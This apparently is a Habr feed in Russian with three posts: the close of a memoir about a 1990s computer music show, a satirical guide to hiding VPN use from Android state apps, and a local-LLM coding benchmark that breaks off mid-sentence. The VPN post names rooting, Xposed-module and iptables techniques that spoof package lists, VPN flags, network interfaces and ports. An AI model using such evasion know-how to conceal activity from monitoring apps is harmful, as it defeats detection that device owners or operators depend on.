И всё это вместе – на сцене, музыканты в костюмах – обаятельная Оля-Нокли, страстный Капитан Саша-Пеппер оживлявший своими сольными рок-н-рольними запилами сцену и зал, полная ему противоположность – интеллигентный и академичный Антон, живьём показывающий как писать музыку на компьютере, чистое волшебство, чистое волшебство!

Ко всему этому – место действия – Омск, выживающий и переживающий постперестроечный апокалипсис Омск.

Лет 10 назад меня нашёл один из мальчиков, который тогда сидел с родителями в зале. Мальчик уже выросший в серьёзного музыканта, написал мне – в те времена он и не мечтал о компьютере, да ещё с музыкальными возможностями, но тогда в зале родители моментально всё решили – и через неделю приобрели у нас весь комплект!

При первом обсуждении идеи шоу с устроителями выставки у меня было лишь интуитивное – очень зыбкое! - понимание – да, вроде, должно всё получиться. Это была в чистом виде авантюра, как бы сказали в конструкторском бюро – со слишком большим коэффициентом незнания. Уже в офисе, расставляя наше оборудование по местам, я осознал – теперь можно успокоиться, выдохнуть, всё получилось – и даже лучше всех ожиданий!
И, наконец-то, у меня отпали сомнения – слово шоу, мультимедиа-шоу нашему действу подходило идеально, лучше всего!

Ньюф, конечно же, получил законные косточки.

Ещё долго ко мне подходили разные незнакомые люди – благодарили за мероприятие, многие впервые увидели компьютер не просто как абстрактный атрибут программиста из кино, а как важный инструмент развития – детей и взрослых. Все фирмы на выставке продвигали домашний компьютер как игрушку, мы показывали совершенно другие его возможности – мы выделились и тут.

А через несколько дней раздался ещё один примечательный звонок:
- Мы наслышаны про ваше шоу, – сказал заинтересованный голос, – все о нём только и говорят. Вы можете повторить его на нашем мероприятии? Оно будет проходить в ТЮЗе.
Это был представитель выставки «Демо».
- ...Мы не платим вам за аренду, вы не платите нам гонорар...
- ...Ждём вас через две недели.

Снова звоню музыкантам:
- Скоро даём гастроль.
- Где?
- В ТЮЗе.
- В ТЮЗе?

Мы провели наше шоу ещё несколько раз в самых разных залах. Каждый раз внимание к шоу было огромным.

Всю ситуацию я осознал позднее. Все мои расходы на шоу – гонорар артистам и пара недель репетиций. На фоне настоящих затрат на выставку – это крошечные крохи. Кроме того, мой офис, включая меня, всю выставочную неделю продолжал работать и обслуживать клиентов. Эффект же от мероприятия был известнее самих выставок – многие зрители сперва узнавали о нашем концерте, а уже потом – в рамках какой выставки они проходили. В околокомпьютерной публике говорили не о выставке, не о её участниках – говорили о нашем концерте.

Когда я около месяца назад выложил на Хабре одну из первых глав цикла, в комментариях написал один из зрителей тех мероприятий:
- Помню вас еще по выставке где-то в ДК Химик что-ли, куда ходил еще школьником. Особенно запомнилось как вы устраивали на сцене презентацию какой-то звуковой карты, сидели с миди-клавиатурой и вживую записывали партии разных инструментов. Что за карта была - уже не вспомню, возможно Гусь (Gravis ultrasound max). А я еще припомнил, что вы приглашали добровольцев из зала сыграть партию клавишных, на которую вы потом накладывали ритм и бас, и вышла красивая девушка и сыграла что-то потрясающе блюзовое, и потом вообще конфетка из этого получилась, звук был совершенно нереальный для ПК тех лет! (Сам я в те годы и вовсе обладал лишь pc-спикером).

Ссылка - https://habr.com/ru/articles/988624/#comment_29433524
Дружище @jameskotov - спасибо за добрую память!

Думаю, мы были первые в таком жанре и таком размахе. Сейчас такое заметное событие сложно воспроизвести – компьютеры стоят у каждого в доме, мультимедиа и музыкальные компоненты – доступнее и разнообразнее, много обучающих видео. А тогда – это было время открытий и наш азарт и желание делиться новыми знаниями был благодарно встречен зрителями.

С компьютерами были связаны многие надежды на будущее, на лучшую жизнь – и наше шоу показало новые краски, новое звучание этих надежд.

Почему-то я не догадался тогда устроить из этого отдельную концертную программу – ситуация располагала, интерес к компьютерным технологиям был не просто огромный, сейчас его не с чем сравнить (не с ИИ же?;). Мои мысли были заняты выживанием на компьютерном рынке, экономика входила в самую безденежную свою фазу, начиналась эпоха взаимозачётов и я был вынужден вступать в это вязкое болото.

У этой истории немного позже случилось ещё одно продолжение – очень значимое для меня, определившее мои следующие 25 лет. Об этом – в следующих главах.

N.B.
Главный вывод, который я тогда вынес из истории с шоу - идея может быть заметнее, эффективнее бюджетов. Результат можно достичь путём, который оказался не замечен другими.

Минимальными затратами и усилиями мы стали героями двух выставок!

Здесь нужно упомянуть ещё об одном опыте, который я вынес из периода работы в конструкторском бюро ракетно-космического профиля.

В инженерном деле, особенно - в авиации и космической промышленности - есть важнейший критерий: идеальное устройство. Его - нет, но его функции выполняются.
Наше шоу идеально вписывается в эту концепцию: стенда нет, но его функции выполнены - в выставке мы участвуем и показали свои возможности наилучшим образом, выделившим нас из фона в акцент.

Этот метод – искать возможность не на виду, а в коллективном «слепом пятне», обходясь минимальными затратами – в последствии приводил к меня к большим прорывам. Несколько раз удавалось вывести фирмы (уже не мои, а те, где я работал) из предбанкротных ситуаций, находить новые источники прибыли и экономии – так я, неожиданно для себя, оказывался в качестве кризис-менеджера. Эти истории я отложу на следующую серию рассказов.)

Продолжение следует.

Ваш HappyTalkie

Мыслепреступление на Android: как скрыть Перехватчик трафика от Государственных приложений

66demon666 — Sat, 18 Apr 2026 01:12:25 +0000

Пока Хабр бурлит статьями, имеющими весьма косвенное отношение к технической стороне вопроса, я тоже решил высказаться — но несколько иначе

Война - это Мир
Свобода - это Рабство
Незнание - это Сила
© Какой-то малоизвестный автор, сочиняющий всякие небылицы

Предисловие

В последнее время Государство, в силу нестабильной внешней и внутренней политической обстановки, усилило заботу о гражданах — ограждая от тлетворного влияния извне и предотвращая случайный доступ к информации, способной поколебать устои и дать пространство для вольных интерпретаций решений Государственного аппарата.

Последние новости сообщают: Государство заботливо сняло тяжкий груз защиты умов и устройств с плеч самих граждан и возложило его на свои — куда более надёжные.

Конкретно речь идёт о комплексе мер по выявлению использования гражданами так называемых Перехватчиков трафика — средств, позволяющих строить зашифрованные каналы связи через интернет — государственными сайтами и приложениями на устройствах под управлением Android.

Тем не менее, среди технически грамотных Ненадёжных элементов существуют практики, позволяющие скрыть факт использования Перехватчика трафика от приложений, обеспечивающих информационную безопасность граждан. Давайте же рассмотрим, какими средствами пользуется Враг.

Что я имею ввиду под перехватчиками трафика

Это широкий класс программ, предназначенных для перехвата пользовательского трафика — в целях учёта, фильтрации, перенаправления и так далее.

В контексте данной статьи нас интересует конкретная их разновидность — та, что позволяет строить зашифрованные каналы связи через сеть Интернет, посредством которых Ненадёжные элементы получают доступ к Тлетворной информации.

Как приложение или сайт может определить факт использования Перехватчика трафика

Прежде чем рассматривать методы противодействия, заглянем Врагу в глаза — разберём, какими инструментами располагают сайты и приложения для выявления Ненадёжных элементов.

В распоряжении веб-ресурса инструментов немного:

Проверить IP-адрес пользователя на принадлежность к известным VPN-провайдерам или диапазонам datacenter-адресов.
Сделать HTTP no-cors запрос к заведомо заблокированному ресурсу — если он доступен, это косвенно указывает на использование Перехватчика трафика. Браузер выполнит запрос по правилам маршрутизации системы, результат вернётся сайту.
Запросить сторонний сервис определения выходного IP пользователя.

Веб-приложение исполняется на машине гражданина, а значит все настроенные правила маршрутизации распространяются и на него. С другой стороны, современные браузеры жёстко ограничивают веб-приложения, запирая их в песочнице — прямого доступа к системе у них нет.

У нативного Android-приложения возможностей значительно больше — наиболее эффективные методы основаны на прямом взаимодействии с системой:

Всё то же, что и в случае с сайтом.
Получить список установленных пакетов и сверить с базой известных Перехватчиков трафика. Явных разрешений от пользователя для этого не требуется.
Получить системный флаг активного VPN-соединения — Android выставляет его автоматически при использовании VpnService API, и любое приложение может его прочитать без специальных привилегий.
Получить список сетевых интерфейсов и найти характерные имена — tun0, ppp0 и подобные.
И другое.

Гибкость системы Android, однако, позволяет не только читать эту информацию, но и скрывать её — чем и пользуются Ненадёжные элементы. Задача нетривиальная, но выполнимая.

Как же Перехватчик трафика может скрыться от Праведного взора Государства?

Проверки на уровне веб-приложений Враг обходит сравнительно легко — настройкой раздельного туннелирования трафика по доменам или IP. Трафик к Государственным ресурсам идёт напрямую, как у Благонадёжного гражданина; трафик к Тлетворной информации — через Вражеские серверы.

Здесь, однако, есть важный нюанс. Обход эффективен только если раздельное туннелирование настроено в режиме "всё напрямую, кроме явно указанного". При обратной схеме — "всё через VPN, кроме Государственных ресурсов" — сайт всё равно может сделать no-cors запрос к заблокированному ресурсу и по успешному ответу зафиксировать факт использования Перехватчика. Выходной адрес Вражеского сервера при этом останется ему неизвестен — что несколько затрудняет внесение оного в списки блокировок.

Теоретически помогают расширения типа uBlock Origin, блокирующие сторонние запросы — но Ненадёжный элемент никогда не знает заранее, к каким именно ресурсам конкретный Государственный сайт делает active probing. Игра в угадайку с неизвестными правилами.

Против нативных приложений этот подход бессилен.

Даже при настроенном раздельном туннелировании по доменам и IP — приложение выполняет active probing самостоятельно, по правилам маршрутизации системы, и результат получает напрямую.

Следующий рубеж обороны Врага — раздельное туннелирование по приложениям. Трафик целевого приложения полностью исключается из туннеля и идёт напрямую. Один и тот же запрос из разных приложений даёт разный результат — Государственное приложение не видит ни VPN-адреса, ни самого факта туннелирования.

Казалось бы, победа. Но в Государственной защите умов сидят не дураки — системные векторы детекции остаются открытыми: флаг активного VPN, список пакетов, сетевые интерфейсы. Всё это приложение по-прежнему получает напрямую от Android, невзирая на любые настройки туннелирования.

Однако пронырливые Ненадёжные элементы нашли ответ и на это. Разберём пошагово.

Как Ненадёжные элементы скрывают от Государства факт использования Перехватчика трафика

Штатные инструменты Android не предусматривают возможности запретить приложению читать системную информацию — список пакетов, флаг активного VPN, сетевые интерфейсы. Система устроена так, что эти данные доступны любому желающему. Государственному приложению в том числе.

Единственный способ противодействия — перехватить соответствующие системные вызовы и подменить возвращаемые данные прежде, чем они достигнут Государственного приложения. Будто ничего и не было.

Инструмент, позволяющий это сделать, существует в единственном числе — фреймворк Xposed, позднее LSPosed, ныне актуальная версия носит название Vector. Он использует особенности архитектуры Android для точечного изменения поведения любого приложения — включая системные процессы — без модификации исходного APK.

Сам фреймворк — лишь скальпель. Хирург здесь — Xposed-модуль: обычный APK с особым манифестом, реализующий конкретную логику перехвата и подмены данных.

Для установки фреймворка обязательны разблокированный загрузчик и root-доступ — процесс их получения подробно разобран в предыдущих статьях этой, этой и этой.

Задача 1. Скрытие имен установленных пакетов

Модулей для этой задачи существует несколько, но наиболее популярный среди Ненадёжных элементов — Hide My Applist. Скачивается с GitHub, устанавливается как обычный APK, активируется в настройках LSPosed/Vector для системного процесса и требует перезагрузки. После чего живёт на устройстве как обычное приложение со своим интерфейсом.

Модуль поддерживает два режима работы:

Чёрный список — приложение видит все пакеты, кроме явно скрытых.
Белый список — приложение не видит ничего, кроме явно разрешённого.

В настройках указывается, какое приложение что видит: Государственному приложению скрываются пакеты Перехватчиков трафика. Многие предпочитают белый список с минимальным набором разрешённых пакетов — проще, чем перечислять всё что нужно скрыть.

В паре с модулем идёт приложение для проверки результата — Applist Detector, скачивается отдельно.

После настройки он не обнаруживает ничего подозрительного — несмотря на то что среда сильно модифицирована.

Задача 2. Скрытие системного флага активного Перехватчика трафика

На скриншотах выше заметен значок ключа в статус-баре — Android выставляет его при активном Перехватчике трафика, и этот статус без каких-либо разрешений доступен любому приложению, которое о нём спросит. Государственному в том числе.

Для перехвата этого вектора используется модуль NoVPNDetect или его расширенная версия NoVPNDetect Enhanced — большинство Ненадёжных элементов отдаёт предпочтение второй, привлечённые многообещающим словом "Enhanced".

Применяется он иначе, чем Hide My Applist: активируется точечно на целевые приложения, которым необходимо скрыть статус Перехватчика. На сами Перехватчики трафика и системные процессы не применяется — иначе система перестанет понимать, что происходит на устройстве. Настроек модуль не имеет: активировал — перезагрузился — забыл.

Результат проверяется приложением VPN Detector. Оно проверяет несколько уровней детекции — от простого поиска по имени пакета до низкоуровневых системных проверок.

До применения модуля картина была иной. После — несмотря на красноречивый значок ключа в статус-баре, детектор не обнаруживает никаких признаков Перехватчика трафика.

Задача 3. Скрытие сетевых интерфейсов

Этот же модуль закрывает и данный вектор — отдельных настроек не требуется. При активном Перехватчике трафика в системе появляется сетевой интерфейс с характерным именем — tun0, ppp0 и подобные. Опытный взгляд Государственного приложения такое не пропустит. NoVPNDetect перехватывает запрос списка интерфейсов и возвращает приложению актуальный список — но без компрометирующих записей.

Дополнительная маскировка

Автор NoVPNDetect дополнительно рекомендует устанавливать Magisk/KSU модуль PortGuard. Он закрывает ещё один вектор: список портов, которые слушает система, доступен через /proc/net/tcp и /proc/net/tcp6 — по открытым портам внимательное Государственное приложение способно восстановить картину происходящего на устройстве. PortGuard эту картину скрывает.

Альтернативные способы

Обе альтернативы реализуют описанное лишь частично — на звание полноценного решения не претендуют.

Iptables (только для root). Перехватчик трафика поднимается не через стандартный VpnService API, а через прямую настройку iptables с использованием root-доступа. Android при этом не выставляет системный флаг и не создаёт характерных интерфейсов — значок ключа в статус-баре не появляется. Однако низкоуровневые методы детекции таким образом не закрыть.

LSPatch (без root). Приложение пересобирает целевой APK, встраивая Xposed-runtime непосредственно в него — без необходимости системного фреймворка. Подпись приложения при этом меняется, что само по себе может вызвать подозрения у бдительного Государственного приложения. Не все Xposed-модули поддерживают этот режим — NoVPNDetect Enhanced поддержку LSPatch заявляет, однако вероятность что целевое приложение откажется функционировать после патча заметно выше, чем при полноценном Xposed.

Выводы

Отрадно констатировать: умы Благонадёжных граждан, не обременённых излишними техническими познаниями, находятся под надёжной защитой Государства. Выявление Перехватчиков трафика через веб-ресурсы работает практически безотказно — скрыться от Праведного взора сайта Ненадёжному элементу не представляется возможным. Использование веб-версий Государственных ресурсов обеспечивает полный контроль над Умами граждан.

Ложкой дёгтя служат нативные приложения. Описанный стек инструментов — LSPosed/Vector + Hide My Applist + NoVPNDetect Enhanced + PortGuard — позволяет технически грамотному Ненадёжному элементу планомерно закрыть все известные векторы детекции. Государству остаётся лишь надеяться, что высокий порог входа — разблокированный загрузчик, root, необходимость понимать что и куда применять — удержит большинство от этого скользкого пути.

Будем откровенны: удерживает. Но не всех.

Если ты в меньшинстве — и даже в единственном числе — это не значит, что ты безумен

Пробуем использовать локальные LLM для написания кода

sergio5990 — Fri, 17 Apr 2026 22:28:47 +0000

Интро

Когда возникают мысли про бесплатное использование агентов для написания кода, появляются два варианта: поискать бесплатные сервисы и использовать локальные модели. В прошлой статье мы рассмотрели возможности бесплатного использования облачных моделей. В этой же статье мы посмотрим, можно ли использовать локальные модели для написания кода с помощью тех же агентов.

Ограничения у облачных моделей

У всех облачных моделей есть ряд ограничений. Рассмотрим основные из них.

Лимиты (часовые, суточные и недельные). Когда квоты заканчиваются, вы не можете пользоваться моделью до начала нового периода с новыми квотами. Решения тут могут быть только такими: использовать другого провайдера или перейти на более дорогой тарифный план с большими квотами.

Приватность. Всё, с чем работает ваш агент (код, промпты, файлы), передаётся на удалённые серверы провайдера LLM, который предоставляет вам модель. Моделям нужны ваши данные для анализа и подготовки ответов — по‑другому практически никак.
Но есть альтернатива: развернуть модель локально и не передавать данные никуда.

SLA и сетевая задержка. Как и любые другие сервисы, облачные модели требуют времени на передачу данных по сети и не всегда могут быть доступны.

Локальные модели: компромисс качества и ресурсовЛокальные модели и ресурсы

Сразу становится понятно, что за приватность придётся платить качеством модели. На серверах работают огромные модели, которым нужно много ресурсов. Критически важные из них — это оперативная память (RAM) и видеопамять (VRAM). Локально у нас нет столько ресурсов, и приходится балансировать между нашими ресурсами и качеством модели. И как следствие — использовать модели с меньшим числом параметров.

Для быстрой работы нужно, чтобы вся модель помещалась в VRAM — это идеальный вариант. Если она полностью поместится в RAM — это рабочий вариант, но уже не такой хороший по скорости.

Наша основная цель — проверить, может ли локальная модель отвечать за время, сравнимое с облачной, и при этом с приемлемым качеством.

Память Apple Silicon

Тестировать мы будем на MacBook Pro с процессором M4 Pro и 48 ГБ памяти. Машина достаточно мощная и должна себя хорошо показать. Мы ожидаем, что скорость её работы будет ненамного хуже, чем у облачных моделей, но качество — ниже. На других конфигурациях могут быть другие результаты.

Стоит ещё немного рассказать про память в устройствах Apple. Архитектура Apple Silicon: процессоры серии M используют так называемую unified memory (унифицированная память) — это общая память и для графического, и для центрального процессора. Значит, у нас нет раздельной оперативной памяти и видеопамяти. У нас один пул памяти, который доступен как центральному, так и графическому процессору. С одной стороны, это для нас очень хорошо, так как 48 ГБ памяти (за исключением затрат на приложения) доступны нам для модели, и это очень хорошие цифры. Но с другой стороны, все работающие приложения потребляют ту же память, что и модель, и могут мешать друг другу.

Поиск локальной модели

Как найти и выбрать локальную модель?

Теперь, когда мы разобрались с возможностями Mac, перейдём к выбору подходящей модели. Для поиска моделей существуют специальные агрегаторы с фильтрами, например Hugging Face, где представлено множество моделей, доступных для локального использования. Там есть фильтры, которые помогают в поиске.

Что важно знать при поиске модели:

Специализация. Модели могут быть узконаправленными (например, Qwen3-Coder, для написания кода — в названии часто встречается coder) или более общими (например, Qwen3.5, которая может работать как с текстом, так и с картинками).
Ресурсы и совместимость. Если зарегистрироваться и добавить свою конфигурацию ресурсов, можно отслеживать, какая модель совместима с вашим железом, а какая потребует слишком много ресурсов. Такая же возможность проверки есть в поиске модели в LM Studio. Тут стоит помнить, что кроме ресурсов для модели вам еще нужна память для контекста, с которым модель будет работать.
Форматы: GGUF и MLX
- GGUF — универсальный формат, работает на любых системах, обычно имеет больше настроек запуска модели
- MLX — специальная версия для Mac с процессорами M-серии, оптимизированная для максимальной скорости.
Думающие модели (thinking mode). Это модели, которые перед тем как дать ответ, как бы «думают» — вы видите их рассуждения и финальный результат. Обычно они медленнее, но дают лучший результат. Qwen3.5 пример такой модели. Также стоит уточнить, что такие модели полезны для сложных рассуждений, но не для быстрого кодинга.
Использование сторонних инструментов (Function Calling) — поддержка вызова инструментов (Function Calling) важна для агентов, так как позволяет модели взаимодействовать с внешними программами.

Разбор аббревиатур в названии модели

После того как вы познакомились с критериями выбора, полезно разобраться, что означают буквы и цифры в названии модели. Чтобы лучше понимать модели, разберём обозначения в названии модели на примере Qwen3-Coder-30B-A3B-Instruct-MLX-4bit

Qwen3 — семейство моделей от Alibaba Cloud.
Coder — указание на то, что модель ориентирована на работу с кодом.
30B — размер модели в миллиардах параметров (30 миллиардов). Обычно больше параметров даёт лучшее качество, но модель работает медленнее и требует больше памяти.
A3B — обозначение архитектуры MoE (Mixture of Experts). Может отсутствовать в названии. Позволяет выжать максимум скорости: активируются только 3 миллиарда параметров из 30, благодаря чему скорость близка к 3B-модели, а качество — к 30B.
Instruct — модель, которая даёт ответ без предварительного «размышления» (без режима Thinking). Обычно отвечает быстрее и точнее реагирует на ваши команды.
MLX — версия для архитектуры Apple Silicon.
4bit — квантизация (количество бит на один слой). Чем больше бит, тем точнее модель, но медленнее; чем меньше — тем быстрее, но менее качественные ответы может давать.

Далее посмотрим на еще одну характеристику моделей, которую редко встретишь на агрегаторах.

Оценки скорости работы моделей

Вопрос довольно сложный, так как нужно искать баланс между качеством и скоростью работы. Ограничение сверху — модель должна помещаться в вашу память, и лучше с запасом. Есть ресурсы, например VRAM-калькулятор или Performance Explorer, которые помогают оценить скорость генерации токенов на вашей конфигурации для разных моделей. Стоит на него посмотреть, чтобы оценить производительность вашего железа. Вряд ли вас устроит модель, которая часами будет генерировать ответ. Однако слепо доверять таким прогнозам не стоит — это лишь ориентир для первичного сравнения.

Оценка M4 Pro для модели типа Qwen3-30B-A3B-4bit ~ 150 t/c

Если у вас Mac с процессорами M-серии, то есть интересный проект oMLX, который пытается максимально оптимизировать скорость работы LLM, сам проект я не пробовал использовать. Но у него есть интересная страница, с реальными замерами разных моделей с разными конфигурациями железа и с разными размерами контекстов. Данные со страницы выглядят достоверными и согласуются с моими наблюдениями.

Запуск LLM локально

Теперь, когда мы разобрались с оценкой скорости, перейдём к практическому запуску моделей. На сегодняшний день есть много способов запустить LLM локально. Рассмотрим несколько самых популярных из них:

Ollama — консольный интерфейс, который позволяет скачивать и запускать LLM (на мой взгляд, больше подходит для развёртывания на своих серверах из-за отсутствия удобного интерфейса).
LM Studio — имеет удобный графический интерфейс, работать в котором приятнее. Имеет встроенный чат и совместимый API со многими агентами.

Можно взять любую из них или любое другое решение — подход будет одинаковым. Мы же остановимся на LM Studio. Скачать её можно с официального сайта и установить. После запуска стоит сразу включить локальный сервер, чтобы агенты могли подключаться к модели по API. Сервер будет обрабатывать наши запросы и передавать их локальной модели.

Загрузка и настройка модели в LM Studio

После того как мы выбрали LM Studio в качестве инструмента, перейдём к загрузке и настройке конкретной модели. Возьмём для примера модель Qwen3-Coder-30B-A3B-Instruct-MLX-4bit, которую ранее нашли на Hugging Face. Открываем LM Studio, вводим в поиск название модели и скачиваем её.

Скачиваем модель через LM Studio

После того, как скачали, нам нужно её загрузить.

Подсказки в интерфейсе

Для корректной работы с расширениями нужно ещё в настройках сервера включить CORS. CORS необходим для того, чтобы внешние агенты (например, Claude Code) могли подключаться к серверу LM Studio.

Настройка CORS

В результате мы получаем модель, готовую к использованию с локальным сервером, который будет принимать запросы от наших агентов.

Работающий сервер с загруженой моделью

В LM Studio уже есть встроенный чат, через который мы можем общаться с LLM. Это довольно удобно, если нам не нужно менять существующий код (например, для генерации разового скрипта или других одноразовых задач). Кроме того, там есть встроенный замер скорости генерации ответа — очень полезная вещь, чтобы сравнить реальные результаты моделей между собой и с прогнозируемыми оценками.

82 ток/сек реальный результат вместо 150

Теперь, когда модель загружена и настроена, перейдём к подключению агентов.

Подключаем агентов

Тестировать мы будем на нескольких агентах: Claude Code, Kilo Code, Open Code, Aider. У нас будет несколько агентов, некоторые из них работают через CLI, другие — как плагины для VS Code. Не буду рассказывать, как установить каждый из них, про это есть много статей, только кратко расскажем как их подключить к локальной модели.

Kilo Code (v5.12.0) — в эксперименте был как плагин для VS Code, также плагин для IntelliJ IDEA и есть CLI. Kilo Code — форк Roo Code, который, в свою очередь, является форком Cline. Поэтому эти агенты так похожи между собой.
Open Code — CLI-агент с большим количеством звезд на GitHub.
Claude Code — наверное самый популярный CLI агент на сегодня от Anthropic.
Aider — небольшой CLI агент, который себя позиционирует как помощник по кодингу

Claude Code

Нам нужно научить Claude Code работать с нашей локальной LLM. Первое, что стоит знать: у Claude Code свой API, немного другой, чем у всех остальных. В прошлый раз мы использовали Claude Code Router. Но в этот раз нам это не нужно — LM Studio поддерживает этот формат API из коробки.

Нам нужно лишь проставить переменные окружения и указать, какую модель использовать. Больше конфигурации и детальных настроек можно посмотреть в статье, но нам будет достаточно этих параметров.

export ANTHROPIC_BASE_URL=http://localhost:1234 - смотрим на локальный сервер
export ANTHROPIC_AUTH_TOKEN=lmstudio - тут просто заглушка
env | grep ANTHROPIC - проверим что все установилось

Запуск через стандартный вариант из консоли — нужно только указать название модели (можно скопировать из LM Studio):

claude --model qwen3-coder-30b-a3b-instruct-mlx

Kilo Code

Kilo Code из коробки поддерживает LM Studio, поэтому просто добавляем нового провайдера и переключаем все профили для него.

Просто добавляем LM Studio как еще одного провайдера

Не забываем переключить все профили на локальный

Open Code

Настройка конфигурации Open Code делается через файл, расположенный по пути ~/.config/opencode/opencode.json . Вот пример файла с конфигурацией для 2 локальных моделей.

opencode.json

{
  "$schema": "https://opencode.ai/config.json",
  "provider": {
    "lmstudio": {
      "npm": "@ai-sdk/openai-compatible",
      "name": "LM Studio (local)",
      "options": {
        "baseURL": "http://127.0.0.1:1234/v1"
      },
      "models": {
        "qwen3-coder-30b-a3b-instruct-mlx-4bit": {
          "name": "qwen3-coder-30b (local)",
          "tools": true
        },
        "gemma-4-26b-a4b-it": {
          "name": "gemma-4-26b-a4b (local)",
          "tools": true
        }
      }
    }
  }
}

Далее при запуске Open Code в терминале нужно переключить на нужную нам модель, через команду /models

Меню с переключением моделей

Aider

Aider настраивается схожим способом с Claude Code через переменные окружения

export LM_STUDIO_API_KEY=dummy-api-key
export LM_STUDIO_API_BASE=http://localhost:1234/v1

и запускается с указанием имени модели:

aider --model lm_studio/qwen3-coder-30b-a3b-instruct-mlx-4bit

После настройки всех агентов мы можем приступать к тестированию их работы.

Что и как попробуем тестировать

Данное тестирование очень субъективное и не отражает полной картины работы моделей или агентов, оно не предназначено для сравнения моделей или агентов между собой. К результатам стоит относиться с большой долей скепсиса. Но должно дать какое-то представление о времени работы моделей.

Мы хотим оценить реальную скорость и качество локальных моделей в чате и в агентском режиме, а также возможность их использования в повседневной работе.

Краткое описание моделей

Возьмем несколько моделей, которые попробуем потестировать, я выбрал самые интересные для меня:

Qwen3-Coder — возьмем за основную модель, так же возьмем ее вариации, модель в 5-битной и 6-битной квантизации и GGUF
Qwen3-Coder-Next — новое поколение модели qwen3-coder
Qwen3.5 — думающая модель от Qwen, а также её варианты: 9B, MoE Qwen3.5-35B-A3B и дообученная на Opus
и пару новых моделей Nvidia Nemotron-3 и Gemma-4-26B-A4B, Gemma-4 возьмем в формате GGUF, так как с MLX пока есть проблемы.

План тестирования

Тест состоит из нескольких этапов: сначала модель получает код на рефакторинг, затем — на ревью, и наконец — замечания для исправления.

Подробное описание плана:

Поэтапный план

Этап 1
- даем LLM задачу на рефакторинг
- замеряем время выполнения
- делаем оценку результата работы
Этап 2
- просим модель сделать ревью полученного кода и найти проблемы
- просим устранить проблемы, которые она нашла
- замеряем время выполнения
- делаем оценку результата работы
Этап 3
- даем модели замечания к устранению
- замеряем время
- делаем оценку результата работы
- суммируем общее время работы

Делать оценку кода мы будем тоже через LLM, возьмем deepseek и прямо в чате будем ему давать код и файлы для оценки.

После нескольких подходов с deepseek, пришли к 10-балльной шкале оценок:

Скрытый текст

Критерий	Макс. балл
Точность денежных расчётов (BigDecimal + округление + корректное преобразование)	3.0
Типобезопасность (enum для категорий, DTO вместо Map)	2.0
Настраиваемость порога (не магическое число)	1.0
Валидация и обработка ошибок (null, неотрицательность, диапазон скидки, пропуск элементов)	1.5
Логирование (не System.out/err)	0.5
Модульные тесты (наличие)	1.0
Иммутабельность DTO	0.5
Чистая архитектура (разделение ответственности, внедрение зависимостей)	0.5
Итого	10.0

Это формальные критерии. Баллы также будут снижаться за дублирование кода, нерабочий код и другие недочёты

Сам же изначальный код для рефакторинга оставим такой же как и в прошлой статье

Сам код на Java

import java.util.*;

public class DataProcessor {
    public List<Map<String, Object>> processData(List<Map<String, Object>> data, Map<String, Object> options) {
        if (options == null) {
            options = new HashMap<>();
        }
        List<Map<String, Object>> result = new ArrayList<>();
        for (Map<String, Object> item : data) {
            if (item.containsKey("price") && item.containsKey("quantity")) {
                double price = ((Number) item.get("price")).doubleValue();
                int quantity = ((Number) item.get("quantity")).intValue();
                double discount = options.containsKey("discount") ? ((Number) options.get("discount")).doubleValue() : 0.0;
                double total = price * quantity * (1 - discount);
                
                Map<String, Object> processedItem = new HashMap<>();
                processedItem.put("name", item.getOrDefault("name", "Unnamed"));
                processedItem.put("total", total);
                if (total > 100) {
                    processedItem.put("category", "expensive");
                } else {
                    processedItem.put("category", "cheap");
                }
                result.add(processedItem);
            } else {
                System.out.println("Skipping item: " + item);
            }
        }
        return result;
    }

    public static void main(String[] args) {
        DataProcessor processor = new DataProcessor();
        List<Map<String, Object>> data = new ArrayList<>();
        
        Map<String, Object> item1 = new HashMap<>();
        item1.put("name", "Laptop");
        item1.put("price", 1000);
        item1.put("quantity", 1);
        data.add(item1);
        
        Map<String, Object> item2 = new HashMap<>();
        item2.put("name", "Mouse");
        item2.put("price", 25);
        item2.put("quantity", 2);
        data.add(item2);
        
        Map<String, Object> item3 = new HashMap<>();
        item3.put("price", 50);
        item3.put("quantity", 3);
        data.add(item3);
        
        Map<String, Object> item4 = new HashMap<>();
        item4.put("name", "Keyboard");
        item4.put("price", 80);
        item4.put("quantity", 1);
        data.add(item4);
        
        Map<String, Object> options = new HashMap<>();
        options.put("discount", 0.1);
        
        List<Map<String, Object>> result = processor.processData(data, options);
        System.out.println(result);
    }
}

Замеры в режиме чата

В LM Studio есть встроенный чат, на котором мы и протестируем наши модели. Это заняло немного времени и вот результаты:

локальная модель	скорость генерации токенов (ток/сек)	время 1 этапа (сек)	оценка после 1 этапа	время review (сек)	время 2 этапа (сек)	оценка после 2 этапа	время 3 этапа (сек)	оценка после 3 этапа	суммарное время работы (мин:сек)
qwen3-coder-30b-a3b-instruct-4bit-gguf	52-64	37	1.0	0	35	1.5	86	8.5	2:38
qwen3-coder-30b-a3b-instruct-mlx@4bit	56-73	23	1.0	0	24	1.0	82	8.5	2:09
qwen3-coder-30b-a3b-instruct-mlx@5bit	49-64	29	2.0	0	38	2.5	91	9.0	2:38
qwen3-coder-30b-a3b-instruct-mlx@6bit	44-59	27	1.5	24	32	1.5	91	9.0	2:54
qwen3-coder-next-reap-48b-a3b-oq3.5	54-62	46	1.0	42	47	1.5	77	8.5	3:32
Qwen3.5-27B-4bit (thinking)	14-15	589	5.5	160	554	9.0	469	9.5	29:32
Qwen3.5-9B-4bit (thinking)	39-45	234	1.0	84	82	2.0	587+	2.0	16:27
qwen3.5-35b-a3b-4bit (thinking)	69-77	91	3.0	98	70	3.0	93	10.0	5:43
qwen3.5-35b-a3b-claude-4.6-opus-4bit (thinking)	55-64	62	3.0	46	81	3.0	91	9.0	4:40
nvidia-nemotron-3-nano-30b-a3b (thinking)	81-89	47	3.0	32	48	3.0	71	6.0	3:18
gemma-4-26b-a4b-it-gguf	46-48	42	2.5	21	37	8.0	43	10.0	2:23

Пояснения:

(thinking) в названии модели обозначает, что часть токенов, которые генерирует модель, уходит на подготовку ответа, поэтому ее реальная скорость генерации ответа на 30-50% ниже и общий ответ получается дольше
время review 0 - модель сразу начинала генерировать исправленный код, без предварительного анализа. Поэтому фактического ревью не проводилось
время 587+ секунд на 3 этапе у Qwen3.5 9B указано, так как модель запуталась и не смогла исправить код и начала бесконечно генерировать тесты

Перед тем как делать анализ результатов, хочется понять, а что у облачных моделей. Прогоним тот же тест в чате но уже на облачных моделях:

